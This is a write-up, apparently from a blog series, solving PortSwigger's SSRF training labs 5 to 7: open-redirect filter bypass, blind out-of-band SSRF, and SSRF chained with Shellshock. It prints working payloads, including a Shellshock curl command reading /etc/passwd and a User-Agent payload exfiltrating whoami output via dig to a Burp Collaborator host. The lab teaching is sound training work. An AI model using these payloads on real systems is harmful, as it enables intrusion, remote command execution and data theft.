This is the final part of the “Solving PortSwigger SSRF Labs” series. The previous parts of this series can be found here:
Lab 5 - SSRF with filter bypass via open redirection vulnerability
URL: https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.
The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.
Solution:
To complete the challenge, the task is still the same; delete the user carlos through admin interface at http://192.168.0.12:8080/admin by exploiting the SSRF.
For Lab 4, the description mentions that we need to find an open redirect in the application. Then, utilising that attack,it can be used together to exploit the SSRF exist in the “Check stock” feature.
First, we crawled as much as pages and functionalities exist in the e-Store website. All of them, generally will be captured in Burp Suite Proxy and Target tabs.
One particular request attracted our eyes, /product/nextProduct?currentProductId=2&path=/product?productId=3. We confirmed that the path parameter can be used for redirecting our request to a different target site or page.
As we already briefed from the description that "the admin interface at http://192.168.0.12:8080/admin", therefore it was easier to complete this challenge.
POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
Lab 6 - Blind SSRF with out-of-band detection
URL: https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.
Solution
The description mentions that we need to use Burp Collaborator and point the payload in the Referer header. This action will let the analytics software used by the application to load our Burp Collaborator and subsequently performing the SSRF.
We opened our Burp Collaborator window and copy our Burp Collaborator payload. We enabled the proxy interception in our Burp Suite Proxy tab and then visited a product page in the e-Store website.
While the Proxy intercepting the request, we added the Burp Collaborator payload copied just now in the Referer header and forward the request.
We noticed that the payload was successfully fetched by the back-end (analytics software) and subsequently solving the lab.
Lab 7 - Blind SSRF with Shellshock exploitation
URL: https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.
Solution
Few notes can be noted from the description given.
Blind SSRF via Referer header on product page
Internal server at 192.168.0.x:8080
The internal server is vulnerable to a Shellshock
To complete the challenge, we need to exfiltrate OS user through Burp Collaborator
From the notes above, we can already know what will be the steps that we need to do. The first two points have been covered in Lab 6 (Blind SSRF on Referer header) and Lab 2 (internal port scanning). But, what is a Shellshock?
Shellshock or Bashdoor is a vulnerability found in Unix Bash shell which was first disclosed on 24 September 2014. This vulnerability caused by lack of sanitisation by Bash before it being executed. Manipulating it, allows an attacker to send commands to the server via HTTP requests and get them executed by the web server operating system.
An example of how Shellshock can be exploited as follow:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
Back to our Lab 7. We first captured the request when accessing the product page and sent it to the Repeater tab.
In the Repeater tab, we first crafted our Shellshock payload and wanted the result to be captured by our Burp Collaborator server. We used dig command to issue a request against our Burp Collaborator URL and appended the Unix command to retrieve the OS user; whoami in front of it. The following payload was used and inserted on the User-Agent header:
() { :; }; /usr/bin/dig
$(whoami).ntk8ccf4nkboxogvg5omf0cb62ct0i.burpcollaborator.net
The above payload needed as the User-Agent value as we wanted the payload to be processed by the backend which was vulnerable to the Shellshock bug. Combining with a SSRF vulnerability that existed on the Referer header, this Shellshock payload can be passed to the backend through the e-Store application.
Next, we sent this request to the Intruder tab, so we can bruteforce the correct internal server address as we did in Lab 2.
In the Intruder tab, we set the attacking point on the Referer header to http://192.168.0.§0§:8080. Using the same setting as in Lab 2, we ran the attack while observing our Burp Collaborator window.
In the Burp Collaborator window, we were able to notice few DNS interactions made by the backend and leaked the OS user on the URL.
All SSRF Labs are now solved. Hope everyone can learn something from our solutions.
Reference(s):
Github - CVE-2014-6271
Netsparker - Shellshock Bash Remote Code Execution Vulnerability Explained and How to Detect It
